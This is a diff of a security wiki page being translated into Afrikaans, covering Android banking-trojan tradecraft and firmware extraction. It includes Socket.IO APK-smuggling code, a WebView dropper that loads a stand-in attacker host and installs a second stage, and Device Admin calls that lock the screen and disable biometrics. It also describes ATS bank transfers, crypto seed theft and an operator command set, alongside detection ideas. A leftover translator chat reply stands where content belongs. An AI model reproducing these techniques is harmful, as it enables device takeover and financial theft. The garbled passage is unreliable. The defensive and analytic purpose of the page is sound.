+### Firebase Cloud Messaging (FCM) as veerkragtige C2
-- Die payload registreer by FCM; push-boodskappe dra 'n `_type` veld wat as 'n skakelaar gebruik word om aksies te aktiveer (bv. bywerk van phishing-tekssjablone, skakel gedrag aan/af).
+- Die payload registreer by FCM; push-boodskappe dra 'n `_type`-veld wat as 'n skakelaar gebruik word om aksies te aktiveer (bv. werk phishing-tekst-sjablone by, skakel gedrag aan/af).
 
-Voorbeeld FCM payload:
+Example FCM payload:
 ```json
 {
 "to": "<device_fcm_token>",
@@ -188,28 +188,69 @@ case "smish": sendSmishToContacts(); break;
 ```
 ### Jagpatrone en IOCs
 - APK bevat sekondêre payload by `assets/app.apk`
-- WebView laai betaling vanaf `gate.htm` en exfiltreer na `/addup.php`
+- WebView laai betaling vanaf `gate.htm` en exfiltrates na `/addup.php`
-- SMS-exfiltrasie na `/addsm.php`
+- SMS exfiltration na `/addsm.php`
 - Shortlink-gedrewe config fetch (bv. `rebrand.ly/*`) wat CSV endpoints teruggee
 - Apps gemerk as generiese “Update/Secure Update”
-- FCM `data` boodskappe met 'n `_type` discriminator in onbetroubare apps
+- FCM `data` messages met 'n `_type` discriminator in onbetroubare apps
 
-### Opsporing & verdediging idees
+### Opsporing & verdedigingsidees
-- Merk apps wat gebruikers instrueer om netwerk tydens installasie af te skakel en daarna 'n tweede APK vanaf `assets/` side-load.
+- Merk apps wat gebruikers instrueer om die netwerk te deaktiveer tydens installasie en dan 'n tweede APK vanaf `assets/` side-load.
-- Waarsku op die toestemmings-tuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-gebaseerde betalingsvloei.
+- Waarsku op die permisietuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-gebaseerde betalingstrome.
 - Monitering van uitgaande verkeer vir `POST /addup.php|/addsm.php` op nie-korporatiewe hosts; blokkeer bekende infrastruktuur.
-- Mobile EDR-reëls: onbetroubare app registreer vir FCM en takke op 'n `_type` veld.
+- Mobile EDR-reëls: onbetroubare app wat vir FCM registreer en vertak op 'n `_type` veld.
 
 ---
 
+## Socket.IO/WebSocket-gebaseerde APK Smuggling + Valse Google Play-bladsye
+
+Aanvallers vervang toenemend statiese APK-skakels met 'n Socket.IO/WebSocket-kanaal wat in Google Play-agtige lokvalle ingesluit is. Dit verberg die payload URL, omseil URL/extension filters, en behou 'n realistiese install UX.
+
+Tipiese kliëntvloei wat in die veld waargeneem is:
+```javascript
+// Open Socket.IO channel and request payload
+const socket = io("wss://<lure-domain>/ws", { transports: ["websocket"] });
+socket.emit("startDownload", { app: "com.example.app" });
+
+// Accumulate binary chunks and drive fake Play progress UI
+const chunks = [];
+socket.on("chunk", (chunk) => chunks.push(chunk));
+socket.on("downloadProgress", (p) => updateProgressBar(p));
+
+// Assemble APK client‑side and trigger browser save dialog
+socket.on("downloadComplete", () => {
+const blob = new Blob(chunks, { type: "application/vnd.android.package-archive" });
+const url = URL.createObjectURL(blob);
+const a = document.createElement("a");
+a.href = url; a.download = "app.apk"; a.style.display = "none";
+document.body.appendChild(a); a.click();
+});
+```
+Waarom dit eenvoudige kontroles ontduik:
+- Geen statiese APK URL word blootgestel nie; die payload word in geheue herkonstruer uit WebSocket frames.
+- URL/MIME/extension filters wat direkte .apk-antwoorde blokkeer, kan binêre data wat via WebSockets/Socket.IO getunnel is, mis.
+- Crawlers en URL sandboxes wat nie WebSockets uitvoer nie, sal nie die payload haal nie.
+
+Hunting and detection ideas:
+- Web/network telemetry: merk WebSocket-sessies wat groot binêre stukke oordra gevolg deur die skep van 'n Blob met MIME application/vnd.android.package-archive en 'n programmatiese `<a download>`-klik. Soek na kliëntstringe soos socket.emit('startDownload'), en na events met name chunk, downloadProgress, downloadComplete in bladsy-skripte.
+- Play-store spoof heuristics: op nie-Google domeine wat Play-agtige bladsye bedien, soek na Google Play UI-strings soos http.html:"VfPpkd-jY41G-V67aGc", gemengde-taal sjablone, en vals “verification/progress” vloei aangedryf deur WS events.
+- Controls: blokkeer APK-aflewering van nie-Google oorspronge; handhaaf MIME/extension-beleid wat WebSocket-verkeer insluit; bewaar blaaier se veilige-aflaai-aanwysings.
+
+See also WebSocket tradecraft and tooling:
+
+{{#ref}}
+../../pentesting-web/websocket-attacks.md
+{{#endref}}
+
+
 ## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – RatOn gevallestudie
 
-Die RatOn banker/RAT veldtog (ThreatFabric) is 'n konkrete voorbeeld van hoe moderne mobile phishing-operasies WebView droppers, Accessibility-gedrewe UI-automatisering, overlays/ransom, Device Admin-gedwonge, Automated Transfer System (ATS), crypto wallet-oortaking, en selfs NFC-relay orkestrasie kombineer. Hierdie afdeling abstraheer die herbruikbare tegnieke.
+Die RatOn banker/RAT-veldtog (ThreatFabric) is 'n konkrete voorbeeld van hoe moderne mobiele phishing-operasies WebView droppers, Accessibility-gedrewe UI-automatisering, overlays/ransom, Device Admin-dwang, Automated Transfer System (ATS), oorname van crypto-wallets, en selfs NFC-relay-orkestrering meng. Hierdie afdeling abstraheer die herbruikbare tegnieke.
 
-### Fase-1: WebView → native install bridge (dropper)
+### Stage-1: WebView → native install bridge (dropper)
-Aanvallers wys 'n WebView wat na 'n aanvalerbladsy wys en injekteer 'n JavaScript-interface wat 'n native installer blootstel. 'n Tik op 'n HTML-knoppie roep native kode aan wat 'n tweede-fase APK geïnstalleer wat in die dropper se assets ingepak is en dit dan direk lanceer.
+Aanvallers wys 'n WebView wat na 'n aanvallersbladsy wys en injecteer 'n JavaScript interface wat 'n native installer blootstel. 'n Tik op 'n HTML-knoppie roep native kode aan wat 'n tweede-fase APK installeer wat in die dropper's assets gebundel is en dit dan direk lanseer.
 
-Minimale patroon:
+Minimal pattern:
 ```java
 public class DropperActivity extends Activity {
 @Override protected void onCreate(Bundle b){
@@ -238,23 +279,23 @@ wv.loadUrl("https://attacker.site/install.html");
 }
 }
 ```
-Ek het nie die HTML-inhoud van die bladsy ontvang nie. Plak asseblief die HTML/markdown-inhoud wat jy wil hê ek moet vertaal, en ek sal dit na Afrikaans vertaal volgens die gegewe reëls.
+I don't have the page content. Please paste the HTML or the contents of src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md that you want translated to Afrikaans.
 ```html
 <button onclick="bridge.installApk()">Install</button>
 ```
-Na installasie, begin die dropper die payload via eksplisiete package/activity:
+Na die installasie begin die dropper die payload deur 'n eksplisiete package/activity:
 ```java
 Intent i = new Intent();
 i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
 startActivity(i);
 ```
-Hunting idea: onbetroubare apps wat `addJavascriptInterface()` aanroep en installer-agtige metodes aan WebView blootstel; APK wat 'n ingeslote sekondêre payload onder `assets/` versend en die Package Installer Session API aanroep.
+Opsporingsidee: onbetroubare apps wat `addJavascriptInterface()` aanroep en installer-agtige metodes aan WebView blootstel; APK wat 'n ingeslote sekondêre payload onder `assets/` lewer en die Package Installer Session API aanroep.
 
-### Toestemmingstrechter: Accessibility + Device Admin + follow-on runtime prompts
+### Toestemmingstrechter: Accessibility + Device Admin + opvolg-runtime-promptse
-Stage-2 open 'n WebView wat 'n “Access” bladsy huisves. Sy knoppie roep 'n exported method aan wat die slagoffer na die Accessibility-instellings navigeer en vra om die rogue service te aktiveer. Sodra dit toegestaan is, gebruik malware Accessibility om outomaties deur opvolgende runtime permission dialogs (contacts, overlay, manage system settings, ens.) te klik en versoek Device Admin.
+Fase-2 open 'n WebView wat 'n “Access”-bladsy aanbied. Die knoppie roep 'n geënvolgde metode aan wat die slagoffer na die Accessibility-instellings navigeer en versoek om die skelm diens te aktiveer. Sodra dit toegestaan is, gebruik die malware Accessibility om outomaties deur daaropvolgende runtime-magtigingsdialoë te klik (kontakte, overlay, bestuur stelselinstellings, ens.) en versoek Device Admin.
 
-- Accessibility programmeerbaar help om later versoeke te aanvaar deur knoppies soos “Allow”/“OK” in die node-tree te vind en klikke te stuur.
+- Accessibility help programmaties om later prompts te aanvaar deur knoppies soos “Allow”/“OK” in die knoopboom te vind en kliekgebeurtenisse te stuur.
-- Overlay permission check/request:
+- Overlay magtiging kontrole/versoek:
 ```java
 if (!Settings.canDrawOverlays(ctx)) {
 Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
@@ -262,27 +303,27 @@ Uri.parse("package:" + ctx.getPackageName()));
 ctx.startActivity(i);
 }
 ```
-See also:
+Sien ook:
 
 {{#ref}}
 ../../mobile-pentesting/android-app-pentesting/accessibility-services-abuse.md
 {{#endref}}
 
-### Oorskerm phishing/ransom via WebView
+### Overlay phishing/ransom via WebView
-Operateurs kan opdragte gee om:
+Operateurs kan opdragte uitreik om:
-- toon 'n volskerm-oorskerm vanaf 'n URL, of
+- vertoon 'n volskerm-overlay vanaf 'n URL, of
-- stuur inline HTML wat in 'n WebView-oorskerm gelaai word.
+- stuur inline HTML wat in 'n WebView-overlay gelaai word.
 
-Waarskynlike gebruike: dwang (PIN-invoer), wallet-openings om PIN's vas te vang, ransom-boodskappe. Hou 'n opdrag om te verseker dat die overlay-toestemming gegee is indien dit ontbreek.
+Waarskynlike gebruike: dwang (PIN-invoer), wallet-opening om PINne vas te vang, losprysboodskappe. Hou 'n opdrag by om te verseker dat overlay-permissie toegewys is indien dit ontbreek.
 
-### Remote control model – teks pseudo-skerm + screen-cast
+### Remote control model – text pseudo-screen + screen-cast
-- Lae-bandwydte: periodies die Accessibility node-boom uitgooi, sigbare tekste/rolle/bounds serialiseer en na C2 stuur as 'n pseudo-skerm (opdragte soos `txt_screen` eenmalig en `screen_live` voortdurend).
+- Low-bandwidth: periodies die Accessibility node-boom uitgooi, serialiseer sigbare tekste/rolle/grense en stuur na C2 as 'n pseudo-skerm (opdragte soos `txt_screen` eenmalig en `screen_live` kontinu).
-- Hoë-fideliteit: versoek MediaProjection en begin screen-casting/recording op aanvraag (opdragte soos `display` / `record`).
+- High-fidelity: versoek MediaProjection en begin screen-casting/opname op aanvraag (opdragte soos `display` / `record`).
 
-### ATS playbook (bank app outomatisering)
+### ATS playbook (bank app automation)
-Gegee 'n JSON-taak, open die bank-app, bestuur die UI via Accessibility met 'n mengsel van teksnavrae en koördinaat-tappe, en voer die slagoffer se betaal-PIN in wanneer daar om gevra word.
+Gegewe 'n JSON-taak, open die bank app, bestuur die UI via Accessibility met 'n mengsel van teksnavrae en koördinaat-tappe, en voer die slagoffer se betalings-PIN in wanneer gevra.
 
-Example task:
+Voorbeeldtaak:
 ```json
 {
 "cmd": "transfer",
@@ -305,58 +346,61 @@ Example texts seen in one target flow (CZ → EN):
 
 Operators can also check/raise transfer limits via commands like `check_limit` and `limit` that navigate the limits UI similarly.
 
-### Crypto wallet seed extraction
+### Uittrekking van herstelfras van crypto-beursies
-Targets like MetaMask, Trust Wallet, Blockchain.com, Phantom. Flow: unlock (stolen PIN or provided password), navigate to Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implement locale-aware selectors (EN/RU/CZ/SK) to stabilise navigation across languages.
+Teikens soos MetaMask, Trust Wallet, Blockchain.com, Phantom. Proses: ontsluit (gesteelde PIN of verskafde wagwoord), navigeer na Security/Recovery, onthul/wys die herstelfras, keylog/exfiltrate dit. Implementeer locale-aware selectors (EN/RU/CZ/SK) om navigasie oor tale te stabiliseer.
 
-### Device Admin coercion
+### Device Admin-afdwinging
-Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:
+Device Admin APIs word gebruik om geleenthede om die PIN vas te vang te verhoog en die slagoffer te frustreer:
 
-- Immediate lock:
+- Onmiddellike vergrendeling:
 ```java
 dpm.lockNow();
 ```
-- Laat huidige credential verval om verandering af te dwing (Accessibility vang nuwe PIN/password op):
+- Laat die huidige credential verval om verandering af te dwing (Accessibility vang nuwe PIN/password op):
 ```java
 dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
 ```
-- Dwing nie-biometriese ontsluiting deur keyguard se biometriese funksies uit te skakel:
+- Dwing nie-biometriese ontgrendeling af deur keyguard se biometriese funksies uit te skakel:
 ```java
 dpm.setKeyguardDisabledFeatures(admin,
 DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
 DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
 ```
-Let wel: Baie DevicePolicyManager-beheer vereis Device Owner/Profile Owner op onlangse Android; sommige OEM-bouwerk kan laks wees. Valideer altyd op die teiken OS/OEM.
+Note: Baie DevicePolicyManager-beheer vereis Device Owner/Profile Owner op onlangse Android; sommige OEM-boues kan los wees. Valideer dit altyd op die teiken OS/OEM.
 
-### NFC-relay orkestrasie (NFSkate)
+### NFC relay orchestration (NFSkate)
-Stage-3 kan 'n eksterne NFC-relaismodule installeer en begin (e.g., NFSkate) en selfs 'n HTML-sjabloon daaraan oorhandig om die slagoffer tydens die relais te lei. Dit maak kontakslose card-present cash-out moontlik tesame met aanlyn ATS.
+Stage-3 kan 'n eksterne NFC-relay-module installeer en start (bv. NFSkate) en selfs 'n HTML-sjabloon aanstuur om die slagoffer tydens die relay te lei. Dit maak kontaklose (card-present) cash-out langsaan aanlyn ATS moontlik.
 
-Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
+Background: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
 
 ### Operator command set (sample)
-- UI/state: `txt_screen`, `screen_live`, `display`, `record`
+- UI/toestand: `txt_screen`, `screen_live`, `display`, `record`
-- Social: `send_push`, `Facebook`, `WhatsApp`
+- Sosiaal: `send_push`, `Facebook`, `WhatsApp`
-- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
+- Oorlae: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
 - Wallets: `metamask`, `trust`, `blockchain`, `phantom`
 - ATS: `transfer`, `check_limit`, `limit`
-- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
+- Toestel: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
-- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
+- Kommunikasie/Verkenning: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
 - NFC: `nfs`, `nfs_inject`
 
-### Detection & defence ideas (RatOn-style)
+### Opsporing & verdediging-idees (RatOn-styl)
-- Soek na WebViews met `addJavascriptInterface()` wat installer-/permission-metodes blootstel; bladsye wat eindig op “/access” wat Accessibility-promptte uitlok.
+- Soek na WebViews met `addJavascriptInterface()` wat installer-/permission-metodes blootstel; bladsye wat eindig op “/access” wat Accessibility-prompts aktiveer.
-- Waarsku op apps wat kort ná verkryging van service-toegang 'n hoë tempo Accessibility-gebare/klikke genereer; telemetrie wat lyk soos Accessibility node dumps na C2 gestuur word.
+- Waarsku op apps wat 'n hoë tempo Accessibility-gebare/klikke genereer kort nadat diens-toegang gegee is; telemetrie wat lyk soos Accessibility node dumps na C2 gestuur word.
-- Houd dop vir Device Admin-beleidwysigings in onbetroubare apps: `lockNow`, password expiration, keyguard feature toggles.
+- Monitor Device Admin-beleidveranderings in onbetroubare apps: `lockNow`, password expiration, keyguard feature toggles.
-- Waarsku vir MediaProjection-promptte van nie-korporatiewe apps wat gevolg word deur periodieke raamoplaaie.
+- Waarsku op MediaProjection-prompts van nie-korporatiewe apps gevolg deur periodieke frame-oplaaie.
-- Detecteer die installasie/aanvang van 'n eksterne NFC-relais-app wat deur 'n ander app getrigger word.
+- Detecteer die installasie of start van 'n eksterne NFC-relay-app wat deur 'n ander app geaktiveer is.
-- Vir bankdienste: dwing out-of-band bevestigings af, biometrie-binding, en transaksie-limiete af wat weerstandbiedend is teen on-device automatisering.
+- Vir bankdienste: handhaaf out-of-band-bevestigings, biometrie-binding, en transaksie-limiete wat weerstand bied teen op-toestel-automatisering.
 
-## References
+## Verwysings
 
 - [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
-- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
+- [Luban – Android beeldkompressie-biblioteek](https://github.com/Curzibn/Luban)
 - [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
 - [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
 - [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
 - [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
+- [Banker Trojan Targeting Indonesian and Vietnamese Android Users (DomainTools)](https://dti.domaintools.com/banker-trojan-targeting-indonesian-and-vietnamese-android-users/)
+- [DomainTools SecuritySnacks – ID/VN Banker Trojans (IOCs)](https://github.com/DomainTools/SecuritySnacks/blob/main/2025/BankerTrojan-ID-VN)
+- [Socket.IO](https://socket.io)
 
 {{#include ../../banners/hacktricks-training.md}}

src/hardware-physical-access/firmware-analysis/README.md

@@ -1,4 +1,4 @@
-# Firmware Analysis
+# Firmware Ontleding
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,46 +6,52 @@
 
 ### Verwante hulpbronne
 
+
 {{#ref}}
 synology-encrypted-archive-decryption.md
 {{#endref}}
 
-Firmware is noodsaaklike sagteware wat toestelle in staat stel om korrek te werk deur die kommunikasie tussen die hardewarekomponente en die sagteware waarmee gebruikers interaksie het, te bestuur en te fasiliteer. Dit word in permanente geheue gestoor, wat verseker dat die toestel toegang kan verkry tot noodsaaklike instruksies vanaf die oomblik dat dit aangeskakel word, wat lei tot die bekendstelling van die bedryfstelsel. Om firmware te ondersoek en moontlik te wysig, is 'n kritieke stap in die identifisering van sekuriteitskwesbaarhede.
+{{#ref}}
+../../network-services-pentesting/32100-udp-pentesting-pppp-cs2-p2p-cameras.md
+{{#endref}}
 
-## **Inligting Versameling**
 
-**Inligting versameling** is 'n kritieke aanvanklike stap in die begrip van 'n toestel se samestelling en die tegnologieë wat dit gebruik. Hierdie proses behels die versameling van data oor:
+Firmware is essensiële sagteware wat toestelle in staat stel om korrek te funksioneer deur kommunikasie tussen die hardware-komponente en die sagteware wat gebruikers gebruik, te bestuur en te fasiliteer. Dit word in permanente geheue gestoor, wat verseker dat die toestel toegang tot noodsaaklike instruksies het vanaf die oomblik dat dit aangeskakel word, wat uiteindelik tot die launch van die bedryfstelsel lei. Die ondersoek en moontlike wysiging van firmware is ’n kritieke stap om sekuriteits kwesbaarhede te identifiseer.
 
-- Die CPU-argitektuur en bedryfstelsel wat dit loop
+## **Versameling van inligting**
-- Bootloader-spesifikasies
-- Hardeware-opstelling en datasheets
-- Kodebasis-metrieke en bronliggings
-- Eksterne biblioteke en lisensietipes
-- Opdateringsgeskiedenisse en regulerende sertifikate
-- Argitektoniese en vloediagramme
-- Sekuriteitsassessering en geïdentifiseerde kwesbaarhede
 
-Vir hierdie doel is **oopbron intelligensie (OSINT)** gereedskap van onskatbare waarde, sowel as die analise van enige beskikbare oopbron sagtewarekomponente deur handmatige en geoutomatiseerde hersieningsprosesse. Gereedskap soos [Coverity Scan](https://scan.coverity.com) en [Semmle’s LGTM](https://lgtm.com/#explore) bied gratis statiese analise wat benut kan word om potensiële probleme te vind.
+**Versameling van inligting** is ’n kritieke aanvanklike stap om ’n toestel se samestelling en die tegnologieë wat dit gebruik te begryp. Hierdie proses behels die insameling van data oor:
 
-## **Die Firmware Verkryging**
+- Die CPU-argitektuur en die operating system waarop dit hardloop
+- Bootloader-spesifieke besonderhede
+- Hardware-opstelling en datasheets
+- Codebase-metrieke en bronlokasies
+- Eksterne libraries en lisensietipes
+- Opdateringsgeskiedenis en regulatoriese sertifiserings
+- Argitektoniese en vloei-diagramme
+- Sekuriteitsassesseringe en geïdentifiseerde kwesbaarhede
 
-Die verkryging van firmware kan op verskillende maniere benader word, elk met sy eie vlak van kompleksiteit:
+Vir hierdie doel is open-source intelligence (OSINT) tools van onskatbare waarde, net soos die analise van enige beskikbare open-source software-komponente deur middel van handmatige en geoutomatiseerde hersieningsprosesse. Tools soos [Coverity Scan](https://scan.coverity.com) en [Semmle’s LGTM](https://lgtm.com/#explore) bied gratis static analysis wat benut kan word om potensiële probleme te vind.
 
-- **Direk** van die bron (ontwikkelaars, vervaardigers)
+## **Verkryging van die Firmware**
-- **Bou** dit volgens verskafde instruksies
-- **Laai** dit af van amptelike ondersteuningswebwerwe
-- Gebruik **Google dork** navrae om gehoste firmware-lêers te vind
-- Toegang tot **cloud storage** direk, met gereedskap soos [S3Scanner](https://github.com/sa7mon/S3Scanner)
-- **Intercepteer** **opdaterings** via man-in-the-middle tegnieke
-- **Ekstraheer** van die toestel deur verbindings soos **UART**, **JTAG**, of **PICit**
-- **Sniff** vir opdateringsversoeke binne toestelkommunikasie
-- Identifiseer en gebruik **hardcoded opdatering eindpunte**
-- **Dump** van die bootloader of netwerk
-- **Verwyder en lees** die stoorchip, wanneer alles anders misluk, met toepaslike hardeware gereedskap
 
-## Analysering van die firmware
+Die verkryging van firmware kan op verskeie maniere benader word, elk met sy eie vlak van kompleksiteit:
 
-Nou dat jy **die firmware het**, moet jy inligting daaroor onttrek om te weet hoe om dit te behandel. Verskillende gereedskap wat jy daarvoor kan gebruik:
+- **Direk** van die bron (developers, manufacturers)
+- **Bouw** dit vanaf voorsieningsinstruksies
+- **Aflaai** vanaf amptelike support sites
+- Gebruik **Google dork** queries om gehoste firmware-lêers te vind
+- Direkte toegang tot **cloud storage**, met tools soos [S3Scanner](https://github.com/sa7mon/S3Scanner)
+- Intersep van **updates** via man-in-the-middle tegnieke
+- **Uittreksel** vanaf die toestel deur verbindings soos **UART**, **JTAG**, of **PICit**
+- **Sniffing** vir update-versoeke binne toestelkommunikasie
+- Identifisering en gebruik van **hardcoded update endpoints**
+- **Dumping** vanaf die bootloader of netwerk
+- **Verwydering en uitlees** van die stoorchip, wanneer alles anders misluk, met toepaslike hardware-gereedskap
+
+## **Ontleding van die Firmware**
+
+Nou dat jy die firmware het, moet jy inligting daaruit onttrek om te weet hoe om dit te hanteer. Verskeie tools wat jy daarvoor kan gebruik:
 ```bash
 file <bin>
 strings -n8 <bin>
@@ -54,25 +60,24 @@ hexdump -C -n 512 <bin> > hexdump.out
 hexdump -C <bin> | head # might find signatures in header
 fdisk -lu <bin> #lists a drives partition and filesystems if multiple
 ```
-As jy nie veel met daardie gereedskap vind nie, kyk na die **entropy** van die beeld met `binwalk -E <bin>`, as die entropy laag is, is dit waarskynlik nie geënkripteer nie. As die entropy hoog is, is dit waarskynlik geënkripteer (of op een of ander manier gecomprimeer).
+As jy nie veel met daardie gereedskap vind nie, kyk die **entropie** van die image met `binwalk -E <bin>`; as die entropie laag is, is dit waarskynlik nie geënkripteer nie. As die entropie hoog is, is dit waarskynlik geënkripteer (of op een of ander manier ge-komprimeer).
-
-Boonop kan jy hierdie gereedskap gebruik om **lêers wat in die firmware ingebed is** te onttrek:
 
+Verder kan jy hierdie gereedskap gebruik om **lêers wat in die firmware ingebed is** uit te trek:
 
 {{#ref}}
 ../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
 {{#endref}}
 
-Of [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) om die lêer te inspekteer.
+Of [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) om die lêer te ondersoek.
 
-### Verkryging van die Lêerstelsel
+### Kry die lêerstelsel
 
-Met die vorige genoemde gereedskap soos `binwalk -ev <bin>` behoort jy in staat te wees om die **lêerstelsel** te **onttrek**.\
+Met die vorige genoemde gereedskap soos `binwalk -ev <bin>` behoort jy in staat te wees om die **lêerstelsel uit te trek**.\
-Binwalk onttrek dit gewoonlik binne 'n **map wat as die lêerstelseltipe genoem word**, wat gewoonlik een van die volgende is: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
+Binwalk haal dit gewoonlik uit binne 'n **gids met die naam van die lêerstelseltipe**, wat gewoonlik een van die volgende is: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
 
-#### Handmatige Lêerstelsel Onttrekking
+#### Handmatige lêerstelsel-uittrekking
 
-Soms sal binwalk **nie die magiese byte van die lêerstelsel in sy handtekeninge hê nie**. In hierdie gevalle, gebruik binwalk om die **offset van die lêerstelsel te vind en die gecomprimeerde lêerstelsel** uit die binêre te sny en die lêerstelsel **handmatig te onttrek** volgens sy tipe met die stappe hieronder.
+Soms sal binwalk nie die magic byte van die lêerstelsel in sy signatures hê nie. In sulke gevalle, gebruik binwalk om die **offset van die lêerstelsel te vind en die gekomprimeerde lêerstelsel uit die binêre uit te sny** en **manueel die lêerstelsel uit te pak** volgens die tipe met die stappe hieronder.
 ```
 $ binwalk DIR850L_REVB.bin
 
@@ -84,7 +89,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
 ```
-Voer die volgende **dd-opdrag** uit om die Squashfs-lêerstelsel te sny.
+Voer die volgende **dd command** uit om die Squashfs filesystem uit te kerf.
 ```
 $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
 
@@ -98,13 +103,13 @@ Alternatiewelik kan die volgende opdrag ook uitgevoer word.
 
 `$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
 
-- Vir squashfs (gebruik in die bogenoemde voorbeeld)
+- Vir squashfs (gebruik in die voorbeeld hierbo)
 
 `$ unsquashfs dir.squashfs`
 
-Lêers sal in die "`squashfs-root`" gids wees daarna.
+Lêers sal daarna in die `squashfs-root` gids wees.
 
-- CPIO argief lêers
+- CPIO-argieflêers
 
 `$ cpio -ivd --no-absolute-filenames -F <bin>`
 
@@ -112,19 +117,19 @@ Lêers sal in die "`squashfs-root`" gids wees daarna.
 
 `$ jefferson rootfsfile.jffs2`
 
-- Vir ubifs lêerstelsels met NAND flash
+- Vir ubifs lêerstelsels met NAND-flits
 
 `$ ubireader_extract_images -u UBI -s <start_offset> <bin>`
 
 `$ ubidump.py <bin>`
 
-## Analise van Firmware
+## Firmware-ontleding
 
-Sodra die firmware verkry is, is dit noodsaaklik om dit te ontleed om die struktuur en potensiële kwesbaarhede te verstaan. Hierdie proses behels die gebruik van verskeie gereedskap om waardevolle data uit die firmware beeld te analiseer en te onttrek.
+Sodra die firmware verkry is, is dit noodsaaklik om dit te ontleed om die struktuur en potensiële kwesbaarhede te verstaan. Hierdie proses behels die gebruik van verskeie gereedskap om waardevolle data uit die firmware-beeld te ontleed en te onttrek.
 
-### Beginanalise Gereedskap
+### Aanvanklike ontledingshulpmiddels
 
-'n Stel opdragte word verskaf vir aanvanklike inspeksie van die binêre lêer (verwys na `<bin>`). Hierdie opdragte help om lêertipes te identifiseer, stringe te onttrek, binêre data te analiseer, en die partisie- en lêerstelselbesonderhede te verstaan:
+'n Reeks opdragte word verskaf vir aanvanklike inspeksie van die binêre lêer (verwys na as `<bin>`). Hierdie opdragte help om lêertipes te identifiseer, strings te onttrek, binêre data te ontleed, en die partisie- en lêerstelselbesonderhede te begryp:
 ```bash
 file <bin>
 strings -n8 <bin>
@@ -133,53 +138,53 @@ hexdump -C -n 512 <bin> > hexdump.out
 hexdump -C <bin> | head #useful for finding signatures in the header
 fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
 ```
-Om die versleutelingstatus van die beeld te evalueer, word die **entropy** nagegaan met `binwalk -E <bin>`. Lae entropy dui op 'n gebrek aan versleuteling, terwyl hoë entropy moontlike versleuteling of kompressie aandui.
+Om die enkripsiestatus van die image te evalueer, word die **entropie** gecheck met `binwalk -E <bin>`. Lae entropie dui op 'n gebrek aan enkripsie, terwyl hoë entropie moontlike enkripsie of kompressie aandui.
 
-Vir die onttrekking van **ingebedde lêers** word gereedskap en hulpbronne soos die **file-data-carving-recovery-tools** dokumentasie en **binvis.io** vir lêerinspeksie aanbeveel.
+Vir die onttrekking van **ingeslote lêers** word instrumente en hulpbronne soos die **file-data-carving-recovery-tools** dokumentasie en **binvis.io** vir lêerinspeksie aanbeveel.
 
-### Onttrekking van die Lêerstelsel
+### Uittrekking van die lêerstelsel
 
-Met `binwalk -ev <bin>` kan 'n mens gewoonlik die lêerstelsel onttrek, dikwels in 'n gids wat na die lêerstelseltipe genoem word (bv. squashfs, ubifs). Wanneer **binwalk** egter nie die lêerstelseltipe kan herken nie weens ontbrekende magic bytes, is handmatige onttrekking nodig. Dit behels die gebruik van `binwalk` om die lêerstelseloffset te lokaliseer, gevolg deur die `dd` opdrag om die lêerstelsel uit te sny:
+Deur `binwalk -ev <bin>` te gebruik, kan mens gewoonlik die lêerstelsel onttrek, dikwels in 'n gids genoem na die tipe lêerstelsel (bv. squashfs, ubifs). Wanneer **binwalk** egter nie die lêerstelseltipe kan herken weens ontbrekende magic bytes nie, is handmatige uittrekking noodsaaklik. Dit behels die gebruik van `binwalk` om die offset van die lêerstelsel te vind, gevolg deur die `dd` opdrag om die lêerstelsel uit te kerf:
 ```bash
 $ binwalk DIR850L_REVB.bin
 
